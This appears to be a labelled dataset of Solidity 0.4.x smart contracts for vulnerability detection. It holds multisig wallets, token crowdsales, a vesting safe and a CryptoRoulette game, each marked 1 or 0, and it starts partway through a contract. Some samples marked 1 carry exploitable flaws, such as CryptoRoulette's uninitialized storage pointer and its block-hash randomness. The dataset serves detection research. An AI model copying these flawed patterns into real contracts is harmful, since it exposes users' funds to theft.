modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) { bool result; assembly { let x := mload(0x40) let d := add(data, 32) result := call( sub(gas, 34710), destination, value, d, dataLength, x, 0 ) } return result; } function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } function getOwners() public constant returns (address[]) { return owners; } function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } } contract MultiSigWalletWithDailyLimit is MultiSigWallet { event DailyLimitChange(uint dailyLimit); uint public dailyLimit; uint public lastDay; uint public spentToday; function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit) public MultiSigWallet(_owners, _required) { dailyLimit = _dailyLimit; } function changeDailyLimit(uint _dailyLimit) public onlyWallet { dailyLimit = _dailyLimit; DailyLimitChange(_dailyLimit); } function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { Transaction storage txn = transactions[transactionId]; bool _confirmed = isConfirmed(transactionId); if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) { txn.executed = true; if (!_confirmed) spentToday += txn.value; if (txn.destination.call.value(txn.value)(txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; if (!_confirmed) spentToday -= txn.value; } } } function isUnderLimit(uint amount) internal returns (bool) { if (now > lastDay + 24 hours) { lastDay = now; spentToday = 0; } if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) return false; return true; } function calcMaxWithdraw() public constant returns (uint) { if (now > lastDay + 24 hours) return dailyLimit; if (dailyLimit < spentToday) return 0; return dailyLimit - spentToday; } }
1
pragma solidity ^0.4.8; contract ERC20 { uint public totalSupply; function balanceOf(address who) constant returns (uint); function allowance(address owner, address spender) constant returns (uint); function transfer(address to, uint value) returns (bool ok); function transferFrom(address from, address to, uint value) returns (bool ok); function approve(address spender, uint value) returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { if (msg.sender == owner) _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) owner = newOwner; } } contract TokenSpender { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); } contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract PullPayment { mapping(address => uint) public payments; event RefundETH(address to, uint value); function asyncSend(address dest, uint amount) internal { payments[dest] += amount; } function withdrawPayments() { address payee = msg.sender; uint payment = payments[payee]; if (payment == 0) { throw; } if (this.balance < payment) { throw; } payments[payee] = 0; if (!payee.send(payment)) { throw; } RefundETH(payee,payment); } } contract Pausable is Ownable { bool public stopped; modifier stopInEmergency { if (stopped) { throw; } _; } modifier onlyInEmergency { if (!stopped) { throw; } _; } function emergencyStop() external onlyOwner { stopped = true; } function release() external onlyOwner onlyInEmergency { stopped = false; } } contract RLC is ERC20, SafeMath, Ownable { string public name; string public symbol; uint8 public decimals; string public version = 'v0.1'; uint public initialSupply; uint public totalSupply; bool public locked; mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; modifier onlyUnlocked() { if (msg.sender != owner && locked) throw; _; } function RLC() { locked = true; initialSupply = 87000000000000000; totalSupply = initialSupply; balances[msg.sender] = initialSupply; name = 'iEx.ec Network Token'; symbol = 'RLC'; decimals = 9; } function unlock() onlyOwner { locked = false; } function burn(uint256 _value) returns (bool){ balances[msg.sender] = safeSub(balances[msg.sender], _value) ; totalSupply = safeSub(totalSupply, _value); Transfer(msg.sender, 0x0, _value); return true; } function transfer(address _to, uint _value) onlyUnlocked returns (bool) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) onlyUnlocked returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData){ TokenSpender spender = TokenSpender(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); } } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract Crowdsale is SafeMath, PullPayment, Pausable { struct Backer { uint weiReceived; string btc_address; uint satoshiReceived; uint rlcSent; } RLC public rlc; address public owner; address public multisigETH; address public BTCproxy; uint public RLCPerETH; uint public RLCPerSATOSHI; uint public ETHReceived; uint public BTCReceived; uint public RLCSentToETH; uint public RLCSentToBTC; uint public startBlock; uint public endBlock; uint public minCap; uint public maxCap; bool public maxCapReached; uint public minInvestETH; uint public minInvestBTC; bool public crowdsaleClosed; address public bounty; address public reserve; address public team; uint public rlc_bounty; uint public rlc_reserve; uint public rlc_team; mapping(address => Backer) public backers; modifier onlyBy(address a){ if (msg.sender != a) throw; _; } modifier minCapNotReached() { if ((now<endBlock) || RLCSentToETH + RLCSentToBTC >= minCap ) throw; _; } modifier respectTimeFrame() { if ((now < startBlock) || (now > endBlock )) throw; _; } event ReceivedETH(address addr, uint value); event ReceivedBTC(address addr, string from, uint value, string txid); event RefundBTC(string to, uint value); event Logs(address indexed from, uint amount, string value); function Crowdsale() { owner = msg.sender; BTCproxy = 0x75c6cceb1a33f177369053f8a0e840de96b4ed0e; rlc = RLC(0x607F4C5BB672230e8672085532f7e901544a7375); multisigETH = 0xAe307e3871E5A321c0559FBf0233A38c937B826A; team = 0xd65380D773208a6Aa49472Bf55186b855B393298; reserve = 0x24F6b37770C6067D05ACc2aD2C42d1Bafde95d48; bounty = 0x8226a24dA0870Fb8A128E4Fc15228a9c4a5baC29; RLCSentToETH = 0; RLCSentToBTC = 0; minInvestETH = 1 ether; minInvestBTC = 5000000; startBlock = 0 ; endBlock = 0; RLCPerETH = 200000000000; RLCPerSATOSHI = 50000; minCap=12000000000000000; maxCap=60000000000000000; rlc_bounty=1700000000000000; rlc_reserve=1700000000000000; rlc_team=12000000000000000; } function() payable { if (now > endBlock) throw; receiveETH(msg.sender); } function start() onlyBy(owner) { startBlock = now ; endBlock = now + 30 days; } function receiveETH(address beneficiary) internal stopInEmergency respectTimeFrame { if (msg.value < minInvestETH) throw; uint rlcToSend = bonus(safeMul(msg.value,RLCPerETH)/(1 ether)); if (safeAdd(rlcToSend, safeAdd(RLCSentToETH, RLCSentToBTC)) > maxCap) throw; Backer backer = backers[beneficiary]; if (!rlc.transfer(beneficiary, rlcToSend)) throw; backer.rlcSent = safeAdd(backer.rlcSent, rlcToSend); backer.weiReceived = safeAdd(backer.weiReceived, msg.value); ETHReceived = safeAdd(ETHReceived, msg.value); RLCSentToETH = safeAdd(RLCSentToETH, rlcToSend); emitRLC(rlcToSend); ReceivedETH(beneficiary,ETHReceived); } function receiveBTC(address beneficiary, string btc_address, uint value, string txid) stopInEmergency respectTimeFrame onlyBy(BTCproxy) returns (bool res){ if (value < minInvestBTC) throw; uint rlcToSend = bonus(safeMul(value,RLCPerSATOSHI)); if (safeAdd(rlcToSend, safeAdd(RLCSentToETH, RLCSentToBTC)) > maxCap) { RefundBTC(btc_address , value); return false; } Backer backer = backers[beneficiary]; if (!rlc.transfer(beneficiary, rlcToSend)) throw; backer.rlcSent = safeAdd(backer.rlcSent , rlcToSend); backer.btc_address = btc_address; backer.satoshiReceived = safeAdd(backer.satoshiReceived, value); BTCReceived = safeAdd(BTCReceived, value); RLCSentToBTC = safeAdd(RLCSentToBTC, rlcToSend); emitRLC(rlcToSend); ReceivedBTC(beneficiary, btc_address, BTCReceived, txid); return true; } function emitRLC(uint amount) internal { rlc_bounty = safeAdd(rlc_bounty, amount/10); rlc_team = safeAdd(rlc_team, amount/20); rlc_reserve = safeAdd(rlc_reserve, amount/10); Logs(msg.sender ,amount, "emitRLC"); } function bonus(uint amount) internal constant returns (uint) { if (now < safeAdd(startBlock, 10 days)) return (safeAdd(amount, amount/5)); if (now < safeAdd(startBlock, 20 days)) return (safeAdd(amount, amount/10)); return amount; } function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) minCapNotReached public { if (msg.sender != address(rlc)) throw; if (_extraData.length != 0) throw; if (_value != backers[_from].rlcSent) throw; if (!rlc.transferFrom(_from, address(this), _value)) throw ; if (!rlc.burn(_value)) throw ; uint ETHToSend = backers[_from].weiReceived; backers[_from].weiReceived=0; uint BTCToSend = backers[_from].satoshiReceived; backers[_from].satoshiReceived = 0; if (ETHToSend > 0) { asyncSend(_from,ETHToSend); } if (BTCToSend > 0) RefundBTC(backers[_from].btc_address ,BTCToSend); } function setRLCPerETH(uint rate) onlyBy(BTCproxy) { RLCPerETH=rate; } function finalize() onlyBy(owner) { if (RLCSentToETH + RLCSentToBTC < maxCap - 5000000000000 && now < endBlock) throw; if (RLCSentToETH + RLCSentToBTC < minCap && now < endBlock + 15 days) throw ; if (!multisigETH.send(this.balance)) throw; if (rlc_reserve > 6000000000000000){ if(!rlc.transfer(reserve,6000000000000000)) throw; rlc_reserve = 6000000000000000; } else { if(!rlc.transfer(reserve,rlc_reserve)) throw; } if (rlc_bounty > 6000000000000000){ if(!rlc.transfer(bounty,6000000000000000)) throw; rlc_bounty = 6000000000000000; } else { if(!rlc.transfer(bounty,rlc_bounty)) throw; } if (!rlc.transfer(team,rlc_team)) throw; uint RLCEmitted = rlc_reserve + rlc_bounty + rlc_team + RLCSentToBTC + RLCSentToETH; if (RLCEmitted < rlc.totalSupply()) rlc.burn(rlc.totalSupply() - RLCEmitted); rlc.unlock(); crowdsaleClosed = true; } function drain() onlyBy(owner) { if (!owner.send(this.balance)) throw; } }
0
pragma solidity ^0.4.19; contract CryptoRoulette { uint256 private secretNumber; uint256 public lastPlayed; uint256 public betPrice = 0.1 ether; address public ownerAddr; struct Game { address player; uint256 number; } Game[] public gamesPlayed; function CryptoRoulette() public { ownerAddr = msg.sender; shuffle(); } function shuffle() internal { secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 10 + 1; } function play(uint256 number) payable public { require(msg.value >= betPrice && number <= 10); Game game; game.player = msg.sender; game.number = number; gamesPlayed.push(game); if (number == secretNumber) { msg.sender.transfer(this.balance); } shuffle(); lastPlayed = now; } function kill() public { if (msg.sender == ownerAddr && now > lastPlayed + 12 hours) { suicide(msg.sender); } } function() public payable { } }
1
pragma solidity ^0.4.11; library SafeMath { function mul(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value); function approve(address spender, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint256 _value) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract TKRPToken is StandardToken { event Destroy(address indexed _from); string public name = "TKRPToken"; string public symbol = "TKRP"; uint256 public decimals = 18; uint256 public initialSupply = 500000; function TKRPToken() { totalSupply = initialSupply; balances[msg.sender] = initialSupply; } function destroyFrom(address _from) onlyOwner returns (bool) { uint256 balance = balanceOf(_from); require(balance > 0); balances[_from] = 0; totalSupply = totalSupply.sub(balance); Destroy(_from); } } contract TKRToken is StandardToken { event Destroy(address indexed _from, address indexed _to, uint256 _value); string public name = "TKRToken"; string public symbol = "TKR"; uint256 public decimals = 18; uint256 public initialSupply = 65500000 * 10 ** 18; function TKRToken() { totalSupply = initialSupply; balances[msg.sender] = initialSupply; } function destroy(uint256 _value) onlyOwner returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Destroy(msg.sender, 0x0, _value); } } contract Crowdsale is Ownable { using SafeMath for uint256; struct Contributor { uint256 contributed; uint256 received; } mapping(address => Contributor) public contributors; event TokensSent(address indexed to, uint256 value); event ContributionReceived(address indexed to, uint256 value); event MigratedTokens(address indexed _address, uint256 value); uint256 public constant TOKEN_CAP = 58500000 * 10 ** 18; uint256 public constant MINIMUM_CONTRIBUTION = 10 finney; uint256 public constant TOKENS_PER_ETHER = 5000 * 10 ** 18; uint256 public constant CROWDSALE_DURATION = 30 days; TKRToken public token; TKRPToken public preToken; address public crowdsaleOwner; uint256 public etherReceived; uint256 public tokensSent; uint256 public crowdsaleStartTime; uint256 public crowdsaleEndTime; modifier crowdsaleRunning() { require(now < crowdsaleEndTime && crowdsaleStartTime != 0); _; } function Crowdsale(address _tokenAddress, address _preTokenAddress, address _to) { token = TKRToken(_tokenAddress); preToken = TKRPToken(_preTokenAddress); crowdsaleOwner = _to; } function() crowdsaleRunning payable { processContribution(msg.sender); } function start() onlyOwner { require(crowdsaleStartTime == 0); crowdsaleStartTime = now; crowdsaleEndTime = now + CROWDSALE_DURATION; } function drain() onlyOwner { assert(crowdsaleOwner.send(this.balance)); } function finalize() onlyOwner { require((crowdsaleStartTime != 0 && now > crowdsaleEndTime) || tokensSent == TOKEN_CAP); uint256 remainingBalance = token.balanceOf(this); if (remainingBalance > 0) token.destroy(remainingBalance); assert(crowdsaleOwner.send(this.balance)); } function migrate() crowdsaleRunning { uint256 preTokenBalance = preToken.balanceOf(msg.sender); require(preTokenBalance != 0); uint256 tokenBalance = preTokenBalance * 10 ** 18; preToken.destroyFrom(msg.sender); token.transfer(msg.sender, tokenBalance); MigratedTokens(msg.sender, tokenBalance); } function processContribution(address sender) internal { require(msg.value >= MINIMUM_CONTRIBUTION); uint256 contributionInTokens = bonus(msg.value.mul(TOKENS_PER_ETHER).div(1 ether)); require(contributionInTokens.add(tokensSent) <= TOKEN_CAP); token.transfer(sender, contributionInTokens); Contributor storage contributor = contributors[sender]; contributor.received = contributor.received.add(contributionInTokens); contributor.contributed = contributor.contributed.add(msg.value); etherReceived = etherReceived.add(msg.value); tokensSent = tokensSent.add(contributionInTokens); TokensSent(sender, contributionInTokens); ContributionReceived(sender, msg.value); } function bonus(uint256 amount) internal constant returns (uint256) { if (now < crowdsaleStartTime.add(2 days)) return amount.add(amount.div(5)); if (now < crowdsaleStartTime.add(14 days)) return amount.add(amount.div(10)); if (now < crowdsaleStartTime.add(21 days)) return amount.add(amount.div(20)); return amount; } }
0
pragma solidity ^0.4.13; contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract TokenSafe { mapping (uint256 => uint256) allocations; mapping (address => bool) isAddressInclude; uint256 public unlockTimeLine; uint256 public constant firstTimeLine = 1514044800; uint256 public constant secondTimeLine = 1521820800; uint256 public constant thirdTimeLine = 1529769600; address public originalContract; uint256 public constant exponent = 10**8; uint256 public constant limitAmount = 1500000000*exponent; uint256 public balance = 1500000000*exponent; function TokenSafe(address _originalContract) { originalContract = _originalContract; allocations[1] = 333; allocations[2] = 666; allocations[3] = 1000; isAddressInclude[0x2814495c778a1f168782587bb1cc38936ac98541] = true; isAddressInclude[0xb94a75e6fd07bfba543930a500e1648c2e8c9622] = true; isAddressInclude[0x59c582aefb682e0f32c9274a6cd1c2aa45353a1f] = true; } function unlock() external{ require(now > firstTimeLine); require(isAddressInclude[msg.sender] == true); if(now >= firstTimeLine){ unlockTimeLine = 1; } if(now >= secondTimeLine){ unlockTimeLine = 2; } if (now >= thirdTimeLine){ unlockTimeLine = 3; } uint256 balanceShouldRest = limitAmount - limitAmount * allocations[unlockTimeLine] / 1000; uint256 canWithdrawAmount = balance - balanceShouldRest; require(canWithdrawAmount > 0); if (!StandardToken(originalContract).transfer(msg.sender, canWithdrawAmount )){ revert(); } balance = balance - canWithdrawAmount; } }
0
pragma solidity ^0.4.11; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract Distributable is Ownable { mapping(address => bool) public dealership; event Trust(address dealer); event Distrust(address dealer); modifier onlyDealers() { require(dealership[msg.sender]); _; } function trust(address newDealer) onlyOwner { require(newDealer != address(0)); require(!dealership[newDealer]); dealership[newDealer] = true; Trust(newDealer); } function distrust(address dealer) onlyOwner { require(dealership[dealer]); dealership[dealer] = false; Distrust(dealer); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } function unpause() onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract DistributionToken is StandardToken, Distributable { event Mint(address indexed dealer, address indexed to, uint256 value); event Burn(address indexed dealer, address indexed from, uint256 value); function mint(address _to, uint256 _value) onlyDealers returns (bool) { totalSupply = totalSupply.add(_value); balances[_to] = balances[_to].add(_value); Mint(msg.sender, _to, _value); Transfer(address(0), _to, _value); return true; } function burn(address _from, uint256 _value) onlyDealers returns (bool) { totalSupply = totalSupply.sub(_value); balances[_from] = balances[_from].sub(_value); Burn(msg.sender, _from, _value); Transfer(_from, address(0), _value); return true; } } contract EverFountainBeanSale is Ownable, Pausable, Distributable { using SafeMath for uint256; event Sale(address indexed customer, uint256 value, uint256 amount, uint256 consume, string order, uint256 reward); struct FlexibleReward { uint256 percentage; uint256 limit; } uint256 public totalSales; uint256 public totalReward; uint256 public totalConsume; FlexibleReward[] public flexibleRewardLevel; uint256 flexibleRewardIndex = 0; address public wallet; uint256 public rate; uint256 public weiRaised; DistributionToken public token; function EverFountainBeanSale(DistributionToken _token, uint256 _rate, address _wallet){ require(_token != address(0)); require(_rate > 0); require(_wallet != address(0)); token = _token; wallet = _wallet; rate = _rate; flexibleRewardLevel.push(FlexibleReward({ limit:1000000, percentage:15})); flexibleRewardLevel.push(FlexibleReward({ limit:3000000, percentage:13})); flexibleRewardLevel.push(FlexibleReward({ limit:6000000, percentage:11})); flexibleRewardLevel.push(FlexibleReward({ limit:10000000, percentage:9})); flexibleRewardLevel.push(FlexibleReward({ limit:15000000, percentage:7})); flexibleRewardLevel.push(FlexibleReward({ limit:21000000, percentage:5})); flexibleRewardLevel.push(FlexibleReward({ limit:0, percentage:0})); trust(msg.sender); } function balanceOf(address _owner) constant returns (uint256 balance) { return token.balanceOf(_owner); } function calcFlexibleReward(uint256 amount) constant returns (uint256 reward){ FlexibleReward memory level = flexibleRewardLevel[flexibleRewardIndex]; if (level.limit == 0) { return 0; } FlexibleReward memory nextLevel = flexibleRewardLevel[flexibleRewardIndex + 1]; uint256 futureTotalSales = totalSales.add(amount); uint256 benefit; if (nextLevel.limit == 0) { if (level.limit >= futureTotalSales) { return amount.mul(level.percentage).div(100); } benefit = level.limit.sub(totalSales); return benefit.mul(level.percentage).div(100); } require(nextLevel.limit > futureTotalSales); if (level.limit >= futureTotalSales) { return amount.mul(level.percentage).div(100); } benefit = level.limit.sub(totalSales); uint256 nextBenefit = amount.sub(benefit); return benefit.mul(level.percentage).div(100).add(nextBenefit.mul(nextLevel.percentage).div(100)); } function calcFixedReward(uint256 amount) constant returns (uint256 reward){ uint256 less6000Reward = 0; uint256 less24000Percentage = 5; uint256 mostPercentage = 15; if (amount < 6000) { return less6000Reward; } if (amount < 24000) { return amount.mul(less24000Percentage).div(100); } return amount.mul(mostPercentage).div(100); } function calcReward(uint256 amount) constant returns (uint256 reward){ return calcFixedReward(amount).add(calcFlexibleReward(amount)); } function flexibleReward() constant returns (uint256 percentage, uint limit){ FlexibleReward memory level = flexibleRewardLevel[flexibleRewardIndex]; return (level.percentage, level.limit); } function nextFlexibleReward() constant returns (uint256 percentage, uint limit){ FlexibleReward memory nextLevel = flexibleRewardLevel[flexibleRewardIndex+1]; return (nextLevel.percentage, nextLevel.limit); } function setRate(uint256 _rate) onlyDealers returns(bool) { require(_rate > 0); rate = _rate; return true; } function destroy() onlyOwner { selfdestruct(owner); } function changeWallet(address _wallet) onlyOwner returns(bool) { require(_wallet != address(0)); wallet = _wallet; return true; } function trade(uint256 amount, uint256 consume, string order) payable whenNotPaused returns(bool){ require(bytes(order).length > 0); uint256 balance; if (msg.value == 0) { require(consume > 0); require(amount == 0); balance = token.balanceOf(msg.sender); require(balance >= consume); totalConsume = totalConsume.add(consume); token.burn(msg.sender, consume); Sale(msg.sender, msg.value, amount, consume, order, 0); return true; } require(amount > 0); uint256 sales = msg.value.div(rate); require(sales == amount); totalSales = totalSales.add(sales); uint256 reward = calcReward(sales); totalReward = totalReward.add(reward); FlexibleReward memory level = flexibleRewardLevel[flexibleRewardIndex]; if (level.limit>0 && totalSales >= level.limit) { flexibleRewardIndex = flexibleRewardIndex + 1; } uint256 gain = sales.add(reward); if (consume == 0) { token.mint(msg.sender, gain); weiRaised = weiRaised.add(msg.value); wallet.transfer(msg.value); Sale(msg.sender, msg.value, amount, consume, order, reward); return true; } balance = token.balanceOf(msg.sender); uint256 futureBalance = balance.add(gain); require(futureBalance >= consume); totalConsume = totalConsume.add(consume); token.mint(msg.sender, gain); token.burn(msg.sender, consume); weiRaised = weiRaised.add(msg.value); wallet.transfer(msg.value); Sale(msg.sender, msg.value, amount, consume, order, reward); return true; } }
0
